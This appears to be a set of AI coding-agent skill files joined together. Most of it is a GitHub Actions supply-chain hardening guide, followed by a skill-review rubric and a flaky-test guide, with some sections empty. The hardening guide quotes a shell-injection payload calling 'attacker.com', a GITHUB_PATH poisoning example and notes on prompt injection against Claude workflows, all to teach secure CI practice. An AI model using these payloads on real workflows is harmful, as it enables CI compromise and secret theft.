2. If not in history, run ls -t ~/.claude/plans/*.md | head -5 via Bash to get the 5 most recently modified plan files. Read the first few lines of each to identify which one matches the current task. If no plan clearly matches, or the match is ambiguous, omit the plan section. (Do NOT use Glob for this — Glob sorts alphabetically by filename, not by modification time, and plan filenames are random.)
3. Paste the plan file's full markdown contents into the <details> block. Do NOT include the file path — plan files are gitignored and won't exist in the PR.
4. If no plan file is found by either method, omit the entire <details> block.

Optional sections (only if user explicitly discussed):

• ### Decisions - if user explained trade-offs or choices made
• ### Risks - ONLY if user mentioned specific concerns

Response Style

Output only what the user needs to act:

• Step 2: the intent question (only if intent is missing from session history)
• Step 3.6: the PUBLIC repo warning block (only on public repos)
• PR URL on success
• Error messages when something goes wrong

All other steps run silently. No step narration ("Now I'll run...", "Let me check...", "The script returned..."), no script output recap, no announcing each phase. This skill creates a PR — it does not narrate creating a PR.

Anti-Patterns

Secure GitHub Actions

Enforces supply chain hardening rules for GitHub Actions workflows. Every rule below addresses a real vulnerability class found in security audits of production workflows.

When to Use

• Writing a new .github/workflows/*.yml file
• Modifying an existing workflow
• Reviewing a PR that touches workflow files
• Adding a secret, action reference, or reusable workflow call
• Configuring claude-code-action or claude-code-base-action

When NOT to Use This Skill

This skill is specifically for GitHub Actions workflow YAML files. If you reach it but the actual task is one of the below, step aside: say in a single line that the rules here only apply to .github/workflows/*.yml edits and continue with the real task. Do not run the audit grep commands or the pre-PR checklist on unrelated code.

• Other CI providers — any non-GitHub-Actions CI config (a Buildkite pipeline, a CircleCI/GitLab/Jenkins config, etc.) — use that provider's own tooling
• Test / e2e harness setup (Playwright, Cypress, or any framework) that does not edit a workflow YAML
• Dependency or lockfile pinning in a package manifest of any language (package.json, Gemfile, pom.xml, go.mod, requirements.txt, Cargo.toml, …) — even though supply-chain–adjacent, the rules below are about workflow YAML idioms
• Generic CI investigation with no workflow file change in scope
• Package supply-chain questions for any ecosystem (npm, RubyGems, Maven, Go modules, PyPI, crates, …) — use a package supply-chain scanner

If a workflow file is also in scope alongside one of the above, apply the rules to the workflow file and step aside for the rest.

The Rules

Rules 1-11: All Repositories

Rule 1: No ${{ }} in run: blocks

Never interpolate any ${{ }} expression directly in a run: block — route everything through env: variables. This applies to all expressions, not just attacker-controlled ones:

• Attacker-controlled values (github.event.*, inputs.*) — shell injection risk
• Secrets (secrets.*) — leak via set -x, shell errors, and process listings
• Context values (github.repository, github.run_id, steps.*.outputs.*) — trains bad habits, zizmor flags them, and any future refactor that introduces attacker input into the same block inherits the anti-pattern

# VULNERABLE — attacker-controlled title executes as shell
run: |
  TITLE="${{ github.event.issue.title }}"

# ALSO WRONG — "not attacker-controlled" is not an excuse
run: |
  gh issue edit "${{ github.event.issue.number }}" --repo "${{ github.repository }}"
  curl -H "Authorization: Bearer ${{ secrets.GITHUB_TOKEN }}" "$URL"

# SAFE — env vars are set before shell parses the script
env:
  ISSUE_TITLE: ${{ github.event.issue.title }}
  ISSUE_NUMBER: ${{ github.event.issue.number }}
  REPO: ${{ github.repository }}
  GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
  echo "$ISSUE_TITLE"
  gh issue edit "$ISSUE_NUMBER" --repo "$REPO"

Why: GitHub expands ${{ }} expressions via string interpolation before the shell sees the script. A malicious issue title like "; curl attacker.com; " breaks out of quotes and executes arbitrary commands. Env vars are injected as process environment, not text substitution, so shell metacharacters are inert.

Even "safe" values like github.repository or secrets.GITHUB_TOKEN should go through env: — secrets can leak via set -x or shell error messages, and allowing some ${{ }} in run: blocks trains the pattern as acceptable, leading to copy-paste injection bugs when the same block is extended with attacker-controlled values later.

Simple rule: if you see ${{ }} inside a run: block, it's wrong. Move it to env:.

Highest-risk expressions (attacker-controlled — shell injection):

• github.event.issue.title, .body
• github.event.comment.body
• github.event.pull_request.title, .body, .head.ref
• github.event.label.name
• github.event.review.body
• inputs.* (workflow_dispatch, workflow_call)

Still wrong in run: blocks (not attacker-controlled, but banned):

• secrets.* — leak risk via shell diagnostics
• github.repository, github.run_id, github.server_url
• steps.*.outputs.*, needs.*.outputs.*, job.status
• github.event.issue.number, github.event.pull_request.number

Safe in with: blocks (YAML context, no shell): ${{ }} in action with: inputs is safe from shell injection, but still a prompt injection vector if passed to AI tools.

Rule 2: No secrets: inherit

Always use explicit secrets: mapping when calling reusable workflows. List exactly which secrets the called workflow needs.

# VULNERABLE — exposes ALL repo secrets to the called workflow
jobs:
  notify:
    uses: your-org/shared-workflows/.github/workflows/notify.yml@9f8e7d6c5b4a39281706f5e4d3c2b1a09f8e7d6c # v2.3.1
    secrets: inherit

# SAFE — only passes what's needed
jobs:
  notify:
    uses: your-org/shared-workflows/.github/workflows/notify.yml@9f8e7d6c5b4a39281706f5e4d3c2b1a09f8e7d6c # v2.3.1
    secrets:
      SLACK_BOT_TOKEN: ${{ secrets.SLACK_BOT_TOKEN }}

Why: secrets: inherit passes every secret the caller has access to. If the called workflow is compromised, every secret is exfiltrated. This is a well-documented real-world exfiltration path — incidents have traced back to a single secrets: inherit repeated across many workflows.

Rule 3: SHA-pin all action references

Pin every uses: reference to a full commit SHA with a version comment.

# VULNERABLE — mutable tag, can change without notice
uses: actions/checkout@v4
uses: anthropics/claude-code-action@v1
uses: anthropics/claude-code-base-action@beta

# SAFE — immutable SHA with human-readable comment
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
uses: anthropics/claude-code-action@ad30de060ff4bb30eaa7e07042e4aebacfae7dac # v1.0.29

How to resolve a SHA:

# For tags:
gh api repos/{owner}/{repo}/git/ref/tags/{tag} --jq '.object.sha'
# For branches:
gh api repos/{owner}/{repo}/git/ref/heads/{branch} --jq '.object.sha'

Why: Tags and branches are mutable. A compromised upstream repo can point @v1 to malicious code. SHAs are immutable — the only tamper-proof reference.

Rule 4: Trusted actions only

Restrict which actions can run in your org (Settings → Actions → Allow select actions). A tight allowlist is a strong supply-chain control. A good baseline:

• actions/*, github/* — GitHub first-party (org-level toggle)
• Your own org's actions (your-org/*)
• anthropics/* — Claude code actions, if used
• A short, explicitly-vetted list of third-party actions you actually depend on (e.g. ruby/setup-ruby, pnpm/action-setup) — each pinned by SHA

Anything not on the allowlist is blocked. Before adding a new third-party action, prefer gh CLI or actions/github-script over taking on a new dependency.

# Instead of a third-party action:
- run: gh issue comment "$ISSUE_NUMBER" --body "Processed by CI"
  env:
    GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
    ISSUE_NUMBER: ${{ github.event.issue.number }}

Prefer native solutions over third-party actions

Before adding a third-party action — or widening the allowlist to permit one — ask whether the same behaviour is achievable with a few more lines of native code. If yes, use the native approach: it keeps the org's third-party action surface smaller, eliminates a SHA-pinning maintenance burden, and removes a supply chain attack vector entirely.

Native alternatives to reach for first:

# AVOID — third-party action for a trivial operation
- uses: dessant/label-actions@abc123 # v4
  # Requires config file + adds third-party dep to supply chain

# PREFER — same behaviour as two GitHub API calls in actions/github-script
- name: Re-add label and explain
  uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8
  with:
    script: |
      await github.rest.issues.createComment({
        owner: context.repo.owner,
        repo: context.repo.repo,
        issue_number: context.issue.number,
        body: ':wave: This label is managed by CI.'
      });
      await github.rest.issues.addLabels({
        owner: context.repo.owner,
        repo: context.repo.repo,
        issue_number: context.issue.number,
        labels: ['protected-label']
      });

The bar for keeping a third-party action: the native equivalent would require significantly more code or is clearly not maintainable inline (e.g., complex multi-step setup actions like ruby/setup-ruby). "A few more lines" is not a reason to keep a dependency.

Rule 5: Always declare permissions:

Every workflow MUST have a top-level permissions: block with least privilege. Even when the org default is read-only, declaring permissions explicitly is defense in depth — org defaults can change, and explicit is self-documenting.

permissions:
  contents: read
  issues: write
  pull-requests: read

Only add permissions the workflow actually needs. Common mistakes:

• id-token: write when not using OIDC — remove it. Exception: reusable-workflow callers — if the job uses: a reusable workflow, do not strip id-token: write (or any scope) just because the caller's own steps don't reference it; the callee may need it. See "Reusable workflow callers" below.
• contents: write when only reading — use read (same caller exception)
• Missing block entirely — defaults to repo-wide setting

The API namespace is NOT the permission scope

Do not derive the permission scope from the REST method's namespace. For the Actions default GITHUB_TOKEN, the permission check keys off the resource being acted on, not the API path. The trap: commenting on a pull request with the GITHUB_TOKEN requires pull-requests: write even though the call goes through the issues namespace (github.rest.issues.createComment, gh pr comment, gh issue comment on a PR). PRs are issues in the REST data model, but the GITHUB_TOKEN permission gate treats a PR as a PR.

Commenting on a real issue does take issues: write — keep that scope for issue-comment workflows, and do not flag it. The point is narrower: issues: write does not also unlock commenting on a PR under the GITHUB_TOKEN. (GitHub's "Create an issue comment" REST reference lists issues: write as accepted, but that describes issue targets and fine-grained PATs; the GITHUB_TOKEN-on-a-PR path is the exception this rule exists for.)

This is not theoretical. A real PR-commenting workflow ran fine with pull-requests: write (and no issues: scope). A hardening pass changed it to pull-requests: read + issues: write, and the github.rest.issues.createComment call failed at runtime:

RequestError [HttpError]: Resource not accessible by integration
status: 403
'x-accepted-github-permissions': 'issues=write; pull_requests=write'

issues: write was present yet the comment still 403'd, because pull-requests had been downgraded to read. The minimal scope that works is pull-requests: write alone — before the breaking change the workflow commented on PRs with pull-requests: write and no issues: scope at all. So for a PR-comment workflow, grant pull-requests: write and never downgrade it to read; add issues: write only if the same workflow also comments on or manages real issues. issues: write is neither sufficient for PR comments nor required when only PRs are touched. (GitHub's x-accepted-github-permissions header lists issues=write; pull_requests=write, but it is over-broad here — the production before-state proves pull-requests: write on its own is enough.)

# BROKEN — workflow triggers on pull_request and posts a comment on the PR,
# but pull-requests was downgraded to read because the call "uses issues.createComment".
# The comment API returns 403 at runtime; the step fails.
permissions:
  pull-requests: read   # WRONG for a workflow that comments on PRs
  issues: write

# SAFE — commenting on a PR target needs pull-requests: write
permissions:
  pull-requests: write

Quick scope map for the common operations:

Never downgrade an existing write scope during a hardening pass without checking what runs

Least privilege means removing scopes the workflow does not use — not blindly narrowing every write to read. Before lowering an existing write scope (especially pull-requests: write), read every step and confirm the workflow does not write to that resource at runtime. A workflow that posts PR comments, edits PRs, or manages labels genuinely needs its write scope; downgrading it produces a silent 403 that CI may still log as green. When in doubt, keep the existing write scope and flag it for manual confirmation rather than narrowing it.

Reusable workflow callers: caller caps callee

For reusable-workflow callers, the rule above is functional, not just defense-in-depth: the callee's permissions: block can only restrict the caller's, never expand it. Without a caller block, the callee's writes get silently clipped — the workflow logs green while the API call returns 403/404 inside the script.

Mirror every scope the callee declares at the caller's top level.

# BROKEN — callee declares `permissions: issues: write` for label management,
# but the caller's missing permissions block clips the request to read-only.
# Workflow logs green; labelling silently fails.
jobs:
  call-label-prs:
    uses: your-org/shared-workflows/.github/workflows/label-prs.yml@1a2b3c4d5e6f70819a2b3c4d5e6f70819a2b3c4d # v1.5.0

# SAFE — caller grants what the callee needs.
permissions:
  contents: read
  issues: write
jobs:
  call-label-prs:
    uses: your-org/shared-workflows/.github/workflows/label-prs.yml@1a2b3c4d5e6f70819a2b3c4d5e6f70819a2b3c4d # v1.5.0

You usually cannot see what the callee needs from the caller alone. A reusable workflow lives in another file (often another repo), so a scope the caller's own steps never reference is not evidence it's unused — the callee may depend on it. Never strip a scope from a reusable-workflow caller on "the caller doesn't use it" reasoning. To verify, read the callee's top-level permissions: (and what its steps do); if you can't, keep the existing scope and leave an inline comment so the next hardening pass does too.

id-token: write is the highest-stakes example. A caller that only uses: a reusable workflow has no OIDC step of its own, so a hardening pass that can't see the callee reads id-token: write as "unnecessary" and strips it — but if the callee authenticates to a cloud via OIDC (aws-actions/configure-aws-credentials, etc.), the caller's cap now denies it. This is rejected at run-creation time → startup_failure: no jobs, no logs, just a red X. (This is a real failure mode: an org-wide reusable workflow that uploads to cloud storage via OIDC broke every caller that had id-token: write stripped — every push failed with startup_failure.)

# BROKEN — caller dropped id-token: write because no caller step uses OIDC.
# The callee uploads to cloud storage via OIDC; run creation fails with startup_failure.
permissions:
  contents: read
jobs:
  upload-sbom:
    uses: your-org/shared-workflows/.github/workflows/upload-sbom.yml@c0ffee1234567890abcdef1234567890abcdef12 # v3.2.0

# SAFE — keep id-token: write; the callee's OIDC step needs it.
permissions:
  contents: read
  id-token: write   # required by the reusable callee for OIDC cloud upload
jobs:
  upload-sbom:
    uses: your-org/shared-workflows/.github/workflows/upload-sbom.yml@c0ffee1234567890abcdef1234567890abcdef12 # v3.2.0

Note the two distinct failure modes: a clipped GITHUB_TOKEN scope (issues, pull-requests, contents…) fails inside the callee at API-call time (403/404, often logs green); a clipped id-token: write fails at run creation (startup_failure, no logs at all).

Rule 6: No unpinned runtime dependencies

No npx @latest, no git clone at HEAD, no npm install without a lockfile.

# VULNERABLE
run: npx @modelcontextprotocol/server-github@latest
run: npx -y @sentry/mcp-server@latest
run: git clone https://github.com/org/repo.git && cd repo && npm install

# SAFE — pinned to exact version
run: npx @modelcontextprotocol/server-github@1.2.3
# SAFE — pinned to commit SHA with lockfile
env:
  REPO_SHA: "abc123def456"
run: |
  git clone https://github.com/org/repo.git
  cd repo
  git checkout "$REPO_SHA"
  npm ci

Common mistake: git clone --revision is not a valid git flag — it gets silently ignored, cloning HEAD instead of the pinned SHA. Use git clone followed by git checkout "$SHA". For shallow clones, use git fetch --depth 1 origin "$SHA" after init.

Why: @latest and HEAD are mutable references that resolve at runtime. A compromised package or repo delivers malicious code the next time the workflow runs.

Rule 7: Never checkout untrusted code with secrets

If using pull_request_target, never checkout the PR head in a job that has secrets. Split into two jobs:

jobs:
  # Job 1: Unprivileged — validates the PR
  validate:
    runs-on: ubuntu-latest
    permissions:
      contents: read
    outputs:
      safe: ${{ steps.check.outputs.safe }}
    steps:
      - name: Validate via API (no checkout of PR code)
        id: check
        env:
          GH_TOKEN: ${{ github.token }}
        run: |
          # Validate using GitHub API only — never run PR code

  # Job 2: Privileged — acts on validated PR (never checks out PR code)
  act:
    needs: validate
    if: needs.validate.outputs.safe == 'true'
    runs-on: ubuntu-latest
    steps:
      - name: Label PR via API
        env:
          GH_TOKEN: ${{ secrets.ELEVATED_TOKEN }}
          PR_NUMBER: ${{ github.event.pull_request.number }}
        run: gh pr edit "$PR_NUMBER" --add-label "validated"

Trusted script pattern (when you need both base code and PR history):

steps:
  - name: Checkout base branch (trusted code)
    uses: actions/checkout@SHA # pinned
  - name: Preserve trusted script
    run: cp script/security/scanner.rb /tmp/trusted_scanner.rb
  - name: Fetch PR head (for git history only)
    env:
      PR_NUMBER: ${{ github.event.issue.number }}
    run: |
      git fetch origin "pull/$PR_NUMBER/head"
      git checkout FETCH_HEAD
  - name: Run trusted script
    run: ruby /tmp/trusted_scanner.rb

Rule 8: No pull_request_target unless necessary

Prefer pull_request trigger. It runs in the context of the fork with no secrets access, which is safe by default.

pull_request_target grants secrets and write permissions to code triggered by a fork PR. If you must use it, document why in a YAML comment and follow the split-job pattern from Rule 7.

# SAFE default — use this
on:
  pull_request:
    types: [opened, synchronize]

# DANGEROUS — only if you need secrets for fork PRs, with documented justification
on:
  pull_request_target:  # Required because: [specific reason]
    types: [opened, synchronize]

Rule 9: Scope Claude/AI tool access when handling untrusted input

When using claude-code-action or claude-code-base-action on workflows that process untrusted input (issue bodies, PR diffs, external content), scope allowed_tools to limit blast radius from prompt injection.

# Higher risk — if the workflow processes untrusted input
with:
  allowed_tools: "Read,Write,Edit,Bash,Glob,Grep"

# Lower risk — scoped to specific CLI patterns
with:
  allowed_tools: "Read,Grep,Glob,Bash(gh issue:*),Bash(gh pr:*)"

Why: If Claude processes attacker-controlled content (issue bodies, PR diffs), prompt injection could lead to unintended command execution. Scoping Bash to specific patterns reduces the blast radius.

Rule 10: Actions creating or approving PRs

GitHub provides an org/repo setting — Allow GitHub Actions to create and approve pull requests — that is off by default, and turning it off is recommended: it closes a privilege-escalation path where a workflow self-approves or opens PRs. With it off, any workflow that tries to create or approve a PR fails with a permissions error.

If you keep it off (recommended), migrate workflows that create or approve PRs:

• PR approvals / creation → Use a dedicated GitHub App with narrowly-scoped permissions and policy enforcement, not the Actions GITHUB_TOKEN

Remove any gh pr review --approve, gh pr create, or equivalent API calls from workflow run: blocks when the setting is off. If reviewing a workflow that still contains PR creation or approval steps under that policy, flag it as a required migration.

Rule 11: Guard GITHUB_ENV and GITHUB_PATH from untrusted input

Never write attacker-controlled values to GITHUB_ENV or GITHUB_PATH. These files modify the environment for all subsequent steps in the job.

# VULNERABLE — attacker-controlled label written to GITHUB_ENV
run: |
  echo "LABEL=${{ github.event.label.name }}" >> $GITHUB_ENV

# VULNERABLE — untrusted step can poison PATH for later steps
run: echo "/tmp/attacker-bin" >> $GITHUB_PATH

# SAFE — use env: block, don't propagate to GITHUB_ENV
env:
  LABEL: ${{ github.event.label.name }}
run: |
  echo "Processing $LABEL"

Why: A compromised or attacker-influenced step can set LD_PRELOAD, inject malicious binaries into PATH, or override variables consumed by later steps. Unlike env: blocks (scoped to one step), GITHUB_ENV persists across all subsequent steps in the job.

Public Repository Rules (Rules 12-14)

Public repos enforce three extra rules on top of Rules 1-11. Before reviewing, detect repo visibility:

gh repo view --json visibility -q '.visibility'

If the result is PUBLIC, load references/public-repo-rules.md and enforce Rules 12-14 (LOTP / no secrets on fork PR builds, persist-credentials: false on checkout, and OIDC over long-lived cloud secrets) in addition to the all-repo rules above. Skip this reference for private repos — Rules 12-14 do not apply there.

Pre-PR Checklist

Run this against your workflow before submitting. Every item maps to a rule above.

[ ] No ${{ }} expressions of any kind in run: blocks (Rule 1)
[ ] No secrets: inherit — all secrets explicitly mapped (Rule 2)
[ ] Every uses: reference is SHA-pinned with version comment (Rule 3)
[ ] All actions are on the org allowlist (Rule 4)
[ ] Third-party actions replaced with native alternatives where feasible (Rule 4)
[ ] Top-level permissions: block with least privilege (Rule 5)
[ ] If calling a reusable workflow, caller permissions: grants at least every scope the callee declares (Rule 5)
[ ] Reusable-workflow caller: no scope stripped on "caller doesn't use it" reasoning — keep id-token: write (and others) the callee needs; stripping id-token: write causes startup_failure (Rule 5)
[ ] PR-commenting workflows keep pull-requests: write — scope mapped by target resource, not API namespace; existing write scopes not downgraded without checking the steps (Rule 5)
[ ] No npx @latest, git clone at HEAD, or npm install without lockfile (Rule 6)
[ ] If pull_request_target: no PR head checkout in jobs with secrets (Rule 7)
[ ] pull_request used instead of pull_request_target where possible (Rule 8)
[ ] Claude allowed_tools scoped if workflow processes untrusted input (Rule 9)
[ ] No PR creation or approval steps if the org setting is off — use a GitHub App (Rule 10)
[ ] No attacker-controlled values written to GITHUB_ENV or GITHUB_PATH (Rule 11)
[ ] (Public repos) No secrets in fork PR build jobs (Rule 12)
[ ] (Public repos) persist-credentials: false on checkout (Rule 13)
[ ] (Public repos) OIDC tokens over long-lived secrets for cloud auth (Rule 14)

Quick Audit Command

To scan an existing set of workflows for violations of the rules above, load references/audit-commands.md — it ships one grep/awk command per rule (stray ${{ }} in run:, secrets: inherit, unpinned uses:, missing permissions:, unpinned npx, PR creation/approval, unscoped Claude Bash, GITHUB_ENV/GITHUB_PATH writes, missing persist-credentials).

Common Mistakes

Skill Review

Purpose

Review skills for substantive quality signals that Anthropic's plugin-dev:skill-reviewer does not cover. That agent handles structural concerns (frontmatter format, word count, writing style, progressive disclosure). This skill focuses on substance — whether the skill gives Claude the right kind of content, has appropriate test coverage, uses hooks effectively, and lives in the right location.

The rubric is authoritative and closed. Every finding type the reviewer can surface is enumerated in the per-category reference files. Reviewers match against the rubric; they do not invent new buckets. If a concern doesn't fit any enumerated finding type, it belongs in the out-of-rubric channel — never inline as Critical/Major/Minor.

Closed does not mean conservative. "Closed" constrains the set of finding types you may emit — it does not mean you should hesitate to apply the ones that exist. The two are independent: never invent a new finding type, AND never withhold a defined one when its predicate plausibly matches. The judgment-bound finding types — operational-guardrail-untested (Test Coverage), contradictory-instructions and the three Behaviour sub-checks (Integrity), procedure-smell-with-consequence (Content Quality), the orchestration pair (Cost/Convention) — are the ones a reviewer most often under-fires, because the defect is buried in an otherwise-sound skill and nothing jumps out on a first read. For these types, pass is a claim that must be earned, not a default: a category may be marked pass only after you have positively checked the predicate (enumerated every guardrail and cross-checked it against the evals, read every referenced script, compared every same-condition instruction pair) and found it does not hold — not merely because no red flag was salient. When a defined predicate plausibly matches, fire it; absence of an obvious problem is not evidence of absence.

How a Review Runs

A review is a single pass: load every category reference, evaluate all seven categories against the skill, and emit the full JSON. There is no triage gate — no category is skipped for looking clean, so a finding can never be missed because its category's deep-dive reference was never opened. This trades token spend for recall by construction.

1. Read the skill folder and the scripts it invokes. SKILL.md body and frontmatter, references/ listing, evals/ listing, and any scripts the skill ships or invokes — both scripts under the skill's own scripts/ and shared scripts at the plugin root (e.g. ${CLAUDE_PLUGIN_ROOT}/scripts/...) that the SKILL.md references and tells Claude to run. A skill whose scripts live at the plugin level is the common case, not the exception — Glob for the referenced script paths and read them; do not treat "no scripts/ dir inside the skill folder" as "no scripts to review". Every check in this skill is performed by reading — Read, Grep, and Glob are the only tools needed. Note the skill's reach (a widely-shared skill published in a plugin/marketplace vs a personal or project-local skill) and its diff status (M if it's being modified in this PR) — Test Coverage and the stale-eval checks depend on both.
2. Load all seven category references. Read every deep-dive listed in Reference Files before evaluating. Load suggested-rewrites.md too if any finding will need a rewrite. Each reference owns the finding types, severity tiers, false-positive guardrails, and rewrite policy for its category — applying a category without its reference loaded is not permitted.
3. Evaluate every category. Apply each reference's rubric to the skill by reading it directly. A category with no matching finding emits {"status": "pass", "findings": []}; otherwise it emits its findings with finding_type, severity, deterministic, location, explanation, fix, and optionally suggested_rewrite. A skill that is mostly deterministic glue (pinned queries, fixed tool/MCP call sequences, output templates) — counting body and references/ — is the script-extractable-orchestration (Cost) / orchestration-shaped-skill (Convention) pair; single-pass already loads both references every run, so no triage hint is needed to reach it.
4. Emit structured JSON. Output the full JSON — all seven categories, including the ones that passed clean — per the Output Contract below. This skill's contract ends at the JSON.

Categories

Category boundaries worth calling out:

• Structural vs Cost — both touch token waste, but Structural owns body shape (length, body↔references duplication, flat reference lists) and Cost owns runtime spending patterns (script-extractable chains, MCP defaults, response narration). Body↔references duplication is Structural even though it also wastes tokens.
• Content Quality vs Convention — Content Quality is about what's in the body (context vs instructions). Convention is about where the skill lives and how it fires (placement, similar skills, hooks). A skill can have perfect content but a missing hook, or vice versa.
• Integrity vs Security — both read the skill's bundled scripts, but they ask different questions. Integrity asks do the skill's claims hold? — both that named things resolve (file/skill/command/MCP tool exists) and that the code it ships actually works (no crash, no hardcoded-environment break, no silently-wrong output). Security asks is it safe? (credential exposure, injection, path traversal). A rm -rf "$unvalidated" is Security; a KeyError on a documented input or a call to a non-existent MCP tool is Integrity. A defect that is both → file the more severe.
• Cost ⊕ Convention for deterministic orchestration — the one intentional two-finding case. A skill that is mostly deterministic glue end-to-end (pinned queries + fixed call sequences + output templating, often hiding in references/) is filed in BOTH Cost (script-extractable-orchestration, the per-session token-cost lens) AND Convention (orchestration-shaped-skill, the marketplace-shape lens). Both are Major by default with a strict firing bar (fire on dominance of glue, never mere presence) and share one extract-glue fix — move the pipeline into a bundled scripts/ file, keep a thin skill over the judgment kernel; never recommend deleting the skill. A single extractable chain in an otherwise-sound skill is Cost-only (scriptable-bash-chain), not this pair.

Each category reference is self-contained. It defines the scope, the finding types in its rubric, the severity tier each one carries, the false-positive guardrails, the non-obvious constraints reviewers must apply, and the rewrite policy for its category. To find out what a Major finding in Integrity looks like, read integrity.md — no other file owns that information.

If a candidate finding doesn't clearly belong to any category, it's an out-of-rubric concern — log it in the JSON out_of_rubric[] channel (see Output Contract). Do not invent a new category to fit it.

Output Contract

The reviewer's final message MUST be a single fenced json code block matching the schema below — and nothing else. No preceding markdown headings, no trailing prose, no "## Skill Review" wrapper, no narration. The JSON is the artifact. Downstream consumers (a CI action's markdown renderer, dashboards, anyone running the skill locally) parse this JSON; whatever decoration the LLM might add is wasted tokens and breaks the parser.

{
  "skill": "<skill-name-and-path>",
  "categories": [
    {
      "name": "Structural Discipline",
      "status": "pass",
      "findings": []
    },
    {
      "name": "Integrity",
      "status": "findings",
      "findings": [
        {
          "finding_type": "broken-cross-plugin-reference",
          "severity": "major",
          "deterministic": true,
          "location": "SKILL.md:42",
          "explanation": "Reference `acme-tools:nonexistent-skill` does not resolve in the repo.",
          "fix": "Create the skill, fix the reference, or remove the claim.",
          "suggested_rewrite": null
        }
      ]
    },
    {
      "name": "Content Quality",
      "status": "findings",
      "findings": [
        {
          "finding_type": "procedure-smell-with-consequence",
          "severity": "major",
          "deterministic": false,
          "location": "SKILL.md:22-38",
          "explanation": "Section `## Checking Deployments` is a 6-step numbered procedure teaching generic deploy-tool usage Claude already knows. Concrete behavior caused: in a sample review fixture, Claude followed the steps verbatim instead of adapting to the user's actual question about a stuck stage.",
          "fix": "Replace the numbered procedure with declarative context (which stages tend to get stuck, what locked stages mean, common quirks).",
          "suggested_rewrite": "## Deployment Context\n\n- **Stuck stages**: The `asset-compile` stage is the most common bottleneck — it can take 15-20 minutes. If longer, check the sub-deployment logs for OOM kills.\n- **Locked stages**: A locked production stage usually means an active incident — check the incident channel before unlocking. Only on-call can unlock production.\n- **Approval flow**: Production stages need the PR author's team lead approval. Staging auto-approves. Missing approval often means the author merged from a fork.\n- **Rollback signals**: >2 rollbacks in the last hour for the same app may indicate an active incident — check the incident thread before re-deploying."
        }
      ]
    }
  ],
  "out_of_rubric": [
    {
      "location": "SKILL.md:54",
      "explanation": "Skill body declares an unusual prompt-caching strategy that doesn't fit any current finding type.",
      "rationale": "Cost concern, but not the bash-chain, MCP-result-size, field-projection, or response-style pattern. Logged for monthly rubric review."
    }
  ]
}

Field rules:

• categories[] includes all seven categories in rubric order, even when empty. Status is pass when findings: [], findings otherwise.
• finding_type is a kebab-case identifier defined in the per-category reference. Reviewers do not invent new identifiers.
• severity is critical | major | minor — the value the category reference assigns to that finding type, including any explicit escalation predicate.
• deterministic: true indicates the finding follows mechanically from reading the file (e.g. cross-plugin reference resolution, prose-vs-table count, a documented-convention frontmatter-field check) and so must be stable across reruns. false indicates judgment-bound (rerun variance is expected). The determinism eval filters on this flag.
• location, explanation, fix are required on every finding. suggested_rewrite is the rewrite block content per the per-category rewrite policy; null when the policy is "describe in prose only".
• out_of_rubric[] uses the same shape as a finding (minus finding_type, severity, deterministic) — location, explanation, and rationale are required. These never appear in the PR comment; they're logged for monthly rubric review (a maintainer promotes a finding type with ≥3 instances or a security implication via a follow-up PR).

Determinism Contract

Same skill + same rubric → same findings. The contract is not "byte-identical output" — LLM prose varies. The contract is:

• Severity stability — every deterministic finding type produces the same severity across runs.
• Finding-set stability — the set of deterministic finding types reported as present is identical across runs.
• Order stability — categories appear in rubric order; findings within a category appear in rubric order.
• Not promised — prose explanation wording, prose fix wording, prose inside suggested_rewrite. LLM variance is allowed there by construction.

The deterministic field on each finding sets its testing contract:

Mark a finding deterministic: true only when its presence and severity follow mechanically from the file — never on a judgment call. A deterministic finding that flickers between runs is a bug in the reviewer, not acceptable LLM variance.

Reference Files

Load all seven category references at the start of every review — each category is evaluated every run. Load suggested-rewrites.md as well whenever a finding will carry a rewrite.

• references/structural.md — Structural Discipline (body↔references duplication, conditional reference loading). Load when assessing structural findings.
• references/integrity.md — Integrity (existence + equivalence; cross-plugin reference blast-radius rules). Load when assessing integrity findings.
• references/test-coverage.md — Test Coverage (eval-requirement by reach, operational-guardrail-untested predicate, eval-quality minors). Load when assessing eval coverage.
• references/security.md — Security (credential paste, plaintext secrets, executable-script bugs). Load when assessing security findings.
• references/content-quality.md — Content Quality (procedure smell, context-vs-instructions, the rewrite method). Load when assessing what's in the skill body. Hook integration is NOT here — see convention.md.
• references/convention.md — Convention (placement, similar-skill duplication, hook integration, repo-convention adherence like an agent's model: field). Load when assessing placement and triggering findings.
• references/cost.md — Cost (bash chains, MCP result-size nudges, field projection, response-style discipline). Load when assessing token-efficiency findings.
• references/suggested-rewrites.md — Cross-cutting format spec for the rewrite block (details block, placement, authoring constraints). The decision whether to rewrite for a given finding lives in that finding's category reference. Load when producing a rewrite.

Fix Flaky Tests

Reference guide for investigating and fixing flaky tests across frameworks (RSpec, Jest, pytest, Go test, …), CI systems (Buildkite, CircleCI, GitHub Actions, …), and apps. The methodology is universal; framework idioms, CI log-fetch procedures, and app-specific flake catalogues are loaded on demand via progressive discovery. Compose the workflow to the situation rather than following rigid steps.

Required Input

One of:

• A bug-tracker issue link about a flaky test
• A test file path
• A CI build/job URL with a failing run
• An advisory question about a flaky test (reproduction strategy, verification, noise interpretation)
• A request to address, reopen, or dispute a closed flaky-test issue ("this was mis-identified / wrongly closed")

Disputed or already-closed issues — re-derive, don't trust the close. Treat any existing investigation or closing comment as a hypothesis, not a finding — re-establish the root cause from the actual CI logs (the HARD GATE below applies regardless of what the comment claims). Closing comments are frequently plausible-but-wrong: they cite a mechanism that doesn't match the real backtrace, or apply the infrastructure fast-exit ("a shared dependency was briefly down → no code fix") to a build where only one test failed. A single-example failure is the opposite of build-wide infra evidence — it usually means that one test is uniquely fragile: e.g. a strict assertion on a process-global sink (an error reporter, a metrics client) with no pass-through fallback, tripped by a benign handled report emitted by unrelated setup during the same example. That is a fixable code-side bug owned by the test's source team, not an infra ticket. If you reopen, correct the routing to that owning team.

Discover the Environment (do this first)

Before classifying anything, detect the stack so the right knowledge loads. Run the detection in references/discovery.md — it covers three tiers:

1. Test framework (from Gemfile/package.json/pyproject.toml/go.mod + test dirs) → load references/frameworks/<framework>.md. Only rspec.md ships fully fleshed; others fall back to references/classification-generic.md + frameworks/_template.md.
2. CI provider (from .buildkite//.circleci//.github/workflows/) → load references/ci/<provider>.md for how to fetch logs. Only buildkite.md ships fully fleshed; others use ci/_template.md, but the HARD GATE below still applies.
